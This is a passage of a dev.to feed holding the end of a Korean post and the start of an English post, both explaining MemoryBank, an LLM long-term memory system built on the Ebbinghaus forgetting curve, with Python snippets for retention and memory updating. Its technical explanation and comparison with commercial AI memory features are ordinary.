class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;last_event&lt;/span&gt;

        &lt;span class="c1"&gt;# 이 날 회상되는가?
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;recall_schedule&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
            &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

        &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ALIVE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;THRESHOLD&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEAD&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: S=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, t=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;일, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
              &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;R=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%) [&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;결과에서 핵심만 뽑으면 이렇다.&lt;/p&gt;

&lt;p&gt;"점심 메뉴"는 한 번도 회상되지 않았다. S=1, Day 2에서 이미 R이 13.5%로 떨어지고, Day 3이면 5.0%. 임계값 0.1 기준으로 Day 3에 소멸한다.&lt;/p&gt;

&lt;p&gt;"이직 고민"은 Day 1, 3, 5, 8에 회상됐다. Day 10이 되면 S=5, 마지막 회상으로부터 2일 경과. R은 &lt;code&gt;e^(−2/5)&lt;/code&gt; = 67.0%. 아직 건강하다.&lt;/p&gt;

&lt;p&gt;"연봉 협상"은 Day 4부터 거의 매일 회상됐다. Day 10이면 S=6, 마지막 회상으로부터 1일 경과. R은 &lt;code&gt;e^(−1/6)&lt;/code&gt; = 84.6%. 가장 강한 기억이다.&lt;/p&gt;

&lt;p&gt;"주말 캠핑"은 Day 3에 딱 한 번 회상됐다. S=2로 올랐지만, 그 후 7일 동안 아무도 안 꺼냈다. Day 10에서 R은 &lt;code&gt;e^(−7/2)&lt;/code&gt; = 3.0%. 소멸이다.&lt;/p&gt;

&lt;p&gt;같은 10일이라도 회상 패턴에 따라 운명이 완전히 갈린다. 이게 MemoryBank의 핵심 메커니즘이 만들어내는 효과다.&lt;/p&gt;

&lt;h2&gt;
  
  
  MemoryBank 모델의 수학적 한계
&lt;/h2&gt;

&lt;p&gt;이 수식이 깔끔한 만큼, 현실과의 괴리도 명확하다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;S의 선형 증가 문제.&lt;/strong&gt; 회상할 때마다 S가 단순히 1씩 오른다. 하지만 실제 인간의 기억 강화는 비선형이다. 첫 번째 복습의 효과가 가장 크고, 이후 복습의 효과는 점점 줄어든다(수확 체감). &lt;code&gt;S_new = S_old + 1&lt;/code&gt;보다 &lt;code&gt;S_new = S_old + 1/log(S_old + 1)&lt;/code&gt; 같은 감쇠 증가가 더 현실적이다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;감정 가중치의 부재.&lt;/strong&gt; 에빙하우스 원래 실험은 무의미한 음절(WID, ZOF 같은)을 대상으로 했다. 의미 있는 정보는 무의미한 정보보다 10배 느리게 잊힌다고 에빙하우스 자신도 인정했다. MemoryBank는 "이직 고민"과 "점심 메뉴"의 초기 S를 똑같이 1로 놓는다. 감정적 중요도가 반영되지 않는다. 의미 가중치를 S 초기값에 반영하는 확장이 가능하다. LLM으로 대화의 감정 강도를 판별해서 S_init을 1~3으로 차등 부여하는 식.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;시간 단위의 모호성.&lt;/strong&gt; 논문에서 t의 단위를 명시하지 않는다. 일? 시간? 분? 대화 세션 수? 단위에 따라 곡선의 형태가 완전히 달라진다. 실서비스에 적용할 때 가장 먼저 결정해야 할 파라미터다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;회상 판정 기준.&lt;/strong&gt; "이 기억이 대화 중 회상됐다"의 판정이 FAISS 검색 결과 기반이다. top-k에 포함되면 회상으로 치는 건지, 실제로 응답에 반영돼야 회상인지에 따라 S 증가 빈도가 달라진다. 검색됐지만 응답에 안 쓰인 기억도 S가 올라간다면, 기억 강도가 과대평가될 수 있다.&lt;/p&gt;

&lt;p&gt;이 한계들은 MemoryBank를 확장할 수 있는 방향이기도 하다. 논문 저자들이 "탐색적이고 단순화된 모델"이라고 명시한 건, 이 수식이 최종 답이 아니라 &lt;strong&gt;출발점&lt;/strong&gt;이라는 의미다. 기본 공식 위에 감정 가중치, 비선형 S 증가, 맥락 기반 회상 판정 같은 레이어를 얹으면 훨씬 정교한 메모리 시스템을 만들 수 있다.&lt;/p&gt;




&lt;p&gt;&lt;code&gt;R = e^(−t/S)&lt;/code&gt;. 수식 하나가 기억의 탄생, 강화, 소멸을 전부 설명한다. 복잡한 메모리 아키텍처가 아니라, 심리학에서 140년간 검증된 원리를 LLM에 올린 거다. 단순하지만 효과적이다. 그리고 단순하기 때문에 확장 가능하다.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"수식은 단순할수록 강하다. 복잡한 건 구현하기 쉽지만, 단순한 건 확장하기 쉽다."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>memorybank</category>
    </item>
    <item>
      <title>To Teach AI How to Remember, First Teach It How to Forget</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Mon, 13 Apr 2026 07:27:04 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/to-teach-ai-how-to-remember-first-teach-it-how-to-forget-6cb</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/to-teach-ai-how-to-remember-first-teach-it-how-to-forget-6cb</guid>
      <description>&lt;p&gt;Code on &lt;a href="https://github.com/zhongwanjun/MemoryBank-SiliconFriend" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. Paper on &lt;a href="https://arxiv.org/abs/2305.10250" rel="noopener noreferrer"&gt;arXiv&lt;/a&gt;.&lt;br&gt;
More posts at &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;.&lt;/p&gt;



&lt;p&gt;I once asked ChatGPT about a conversation we had three days earlier. It had no idea. Tried Claude too. Same thing. Once the conversation ends, the memory vanishes.&lt;/p&gt;

&lt;p&gt;But humans remember conversations from three days ago. Well, the &lt;strong&gt;important&lt;/strong&gt; ones. You forget what you ate for lunch yesterday, but you remember your friend saying they're switching jobs. Memories that get recalled often stick around. Memories that never get pulled out fade naturally.&lt;/p&gt;

&lt;p&gt;MemoryBank transplants this exact principle into LLMs.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Is MemoryBank
&lt;/h2&gt;

&lt;p&gt;It's a long-term memory mechanism for LLMs, built by Wanjun Zhong and colleagues at Sun Yat-sen University. The paper was accepted at AAAI 2024, and the full code is open-sourced on GitHub. 419 stars. MIT license.&lt;/p&gt;

&lt;p&gt;The core idea is simple. In 1885, German psychologist Hermann Ebbinghaus discovered the &lt;strong&gt;forgetting curve&lt;/strong&gt; — a mathematical model of how memory decays over time. MemoryBank applies this to AI memory systems.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;R = e^(−t/S)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;R is memory retention, t is elapsed time, S is memory strength. When you first learn something, S starts at 1. Over time, R drops sharply. Ebbinghaus found that 42% of new information is forgotten within 20 minutes, and 67% after a day. He tested this on himself with nonsense syllables.&lt;/p&gt;

&lt;p&gt;Here's the key insight.&lt;/p&gt;

&lt;p&gt;When a memory gets &lt;strong&gt;recalled&lt;/strong&gt; even once, S increases by 1 and t resets to 0. That memory survives longer. Frequently recalled memories become progressively harder to forget, while untouched memories decay quickly.&lt;/p&gt;

&lt;p&gt;If you've worked on game servers, this feels like session timeout logic. If a user doesn't connect, the session expires. Every connection resets the timer. Except MemoryBank doesn't just reset the timer — it extends the timeout window itself. Each reconnection makes the session last even longer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three Pillars
&lt;/h2&gt;

&lt;p&gt;MemoryBank's architecture splits into three components: Memory Storage, Memory Retrieval, and Memory Updating. If you're a game developer, think ECS pattern — data component, read system, update system. Clean separation of concerns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory Storage&lt;/strong&gt; saves raw conversations with timestamps. But it doesn't just pile up chat logs. It uses LLM calls to generate daily event summaries, global event summaries, and user personality profiles — all maintained hierarchically. "The user talked about career doubts last Monday" sits alongside "The user is introverted and growth-oriented."&lt;/p&gt;

&lt;p&gt;In Unreal Engine terms, it's like the SaveGame system. You keep the raw data intact while serializing key states separately. Later, you can reconstruct context from summaries alone without loading everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory Retrieval&lt;/strong&gt; uses FAISS-based vector search. Every conversation turn and event summary gets encoded into vectors using an encoder model (MiniLM for English, Text2vec for Chinese). When new conversation comes in, the current context gets vectorized and matched against the FAISS index for the most relevant memories. The whole pipeline is built on LangChain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# When a new message arrives
&lt;/span&gt;&lt;span class="n"&gt;query_vector&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Search FAISS for relevant memories
&lt;/span&gt;&lt;span class="n"&gt;relevant_memories&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;faiss_index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query_vector&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;top_k&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Inject retrieved memories + user profile + event summary into prompt
&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;build_prompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;relevant_memories&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_portrait&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_summary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;llm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The beauty here is that you don't have to cram the entire conversation history into the context window. Even Claude's 200K token window fills up fast in long conversations. MemoryBank cherry-picks only the relevant memories for the prompt, so token efficiency is much better.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory Updating&lt;/strong&gt; is the heart of this whole thing. It applies the forgetting curve formula to every memory piece, calculating retention R. When R drops below a threshold, that memory gets removed or weakened. Memories recalled during conversations get their S bumped up and t reset, so they survive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calculate_retention&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Calculate memory retention&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;update_memory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recalled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Update a memory piece&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;recalled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;   &lt;span class="c1"&gt;# Increase memory strength
&lt;/span&gt;        &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;    &lt;span class="c1"&gt;# Reset elapsed time
&lt;/span&gt;
    &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;calculate_retention&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;THRESHOLD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# If retention falls below threshold
&lt;/span&gt;        &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;forgotten&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;memory_item&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's simple. That simplicity is the point. The authors explicitly state this is "an exploratory and highly simplified memory updating model." Real human memory is far more complex, but for LLM memory purposes, this level of simplification is effective enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  SiliconFriend — Memory Is the Prerequisite for Empathy
&lt;/h2&gt;

&lt;p&gt;SiliconFriend is the chatbot built on top of MemoryBank. It's not just memory bolted on — they also fine-tuned it with 38k psychological counseling dialogues using LoRA. Rank 16, 3 epochs on a single A100.&lt;/p&gt;

&lt;p&gt;Why psychological data? Because memory and empathy can't be separated. To ask "You mentioned thinking about switching jobs last time — how did that go?", two things are needed: &lt;strong&gt;remembering&lt;/strong&gt; the job talk, and &lt;strong&gt;empathizing&lt;/strong&gt; naturally when bringing it up. MemoryBank handles the former. The psychological fine-tuning handles the latter.&lt;/p&gt;

&lt;p&gt;The experiments make this clear. Base ChatGLM gives textbook comfort when you say "I'm having a rough time." SiliconFriend adjusts its response based on personality profiles built from past conversations. Cautious approach for introverted users, more active engagement for extroverted ones.&lt;/p&gt;

&lt;p&gt;The evaluation setup is solid too. ChatGPT role-played 15 virtual users with different personalities, generating 10 days of conversation history. From that history, 194 memory probing questions were created to measure recall accuracy. ChatGPT-based SiliconFriend scored highest, while open-source models (ChatGLM, BELLE) were still competitive on retrieval accuracy — just weaker on response naturalness, reflecting their base model capabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Is This Different from Current AI Memory
&lt;/h2&gt;

&lt;p&gt;Claude, ChatGPT, Claude Code. All three have their own memory systems. But the approaches are fundamentally different.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ChatGPT&lt;/strong&gt; pre-computes conversation summaries and injects them into every chat. It's automatic. No user effort needed. But summaries lose nuance through compression.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude&lt;/strong&gt; takes the opposite approach. Memory tools are &lt;strong&gt;on-demand&lt;/strong&gt;. You can search past conversations, but Claude has to decide "I should search now" for it to work. If it doesn't think to look, context stays buried. The trade-off: when it does search, it pulls from raw conversations, so depth is there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude Code&lt;/strong&gt; uses CLAUDE.md files. Write project context in markdown, and it auto-loads at session start. Transparent and editable, but performance degrades as files grow. There's a 200-line index limit too.&lt;/p&gt;

&lt;p&gt;None of them have a &lt;strong&gt;forgetting mechanism&lt;/strong&gt;. That's the critical difference from MemoryBank.&lt;/p&gt;

&lt;p&gt;ChatGPT accumulates summaries indefinitely. Claude's conversation history keeps growing. Claude Code's CLAUDE.md gets bloated unless you manually prune it. If nothing ever gets forgotten, memory ironically becomes useless. When everything has equal weight, the truly important memories get harder to find quickly.&lt;/p&gt;

&lt;p&gt;MemoryBank introduces "forgetting" into this picture. Old, never-recalled memories naturally disappear. Only frequently recalled memories get reinforced. The result: your memory store contains only what actually matters. This is also a performance optimization — smaller FAISS index, better retrieval accuracy.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Plug It Into Your Project
&lt;/h2&gt;

&lt;p&gt;You can use MemoryBank directly, or just borrow the core ideas. Two paths.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path 1: Use the repo as-is.&lt;/strong&gt; Clone from GitHub, run &lt;code&gt;pip install -r requirement.txt&lt;/code&gt;, set up your OpenAI API key. The ChatGPT-based SiliconFriend is the easiest to get running. Put your API key in &lt;code&gt;SiliconFriend-ChatGPT/launch.sh&lt;/code&gt; and run it. &lt;code&gt;--language=en&lt;/code&gt; for English, &lt;code&gt;--language=cn&lt;/code&gt; for Chinese.&lt;/p&gt;

&lt;p&gt;If you want open-source models, you need to set up ChatGLM or BELLE as the base, then download LoRA checkpoints. Requires an A100 80GB environment. A bit heavy for personal projects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path 2: Transplant the core mechanism into your own code.&lt;/strong&gt; This is the practical route. You need three things.&lt;/p&gt;

&lt;p&gt;First, a storage layer that saves conversations with timestamps. JSON works fine. At the end of each conversation, call an LLM API to generate daily summaries and personality summaries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;memory_storage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;conversations&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2026-04-13T14:30:00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;m stuck on this UE5 Slate widget layout&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Memory strength (initial)
&lt;/span&gt;            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="c1"&gt;# Elapsed time
&lt;/span&gt;        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
